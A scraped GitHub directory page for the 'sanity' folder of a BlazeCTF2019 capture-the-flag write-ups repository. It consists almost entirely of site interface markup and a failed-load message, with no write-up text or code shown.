1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> 0n3m4ns4rmy </span> <span>/</span> ctf-write-ups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>1</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>12</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":142745576,"originating_url":"https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/BlazeCTF2019/sanity","user_id":null}}" data-hydro-click-hmac="aaa1b8fe77374e84c5dea3bbf569ebc2c9c04496056c49a21c93f9cb5162de00"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/0n3m4ns4rmy/ctf-write-ups/refs" cache-key="v0:1532854671.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="MG4zbTRuczRybXkvY3RmLXdyaXRlLXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>BlazeCTF2019</span></span><span>/</span>sanity<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-write-ups</span></span></span><span>/</span><span><span>BlazeCTF2019</span></span><span>/</span>sanity<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/0n3m4ns4rmy/ctf-write-ups/tree-commit/1c47fb1fb361cd62e314ab6d919e0892f33f8efc/BlazeCTF2019/sanity" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/0n3m4ns4rmy/ctf-write-ups/file-list/master/BlazeCTF2019/sanity"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
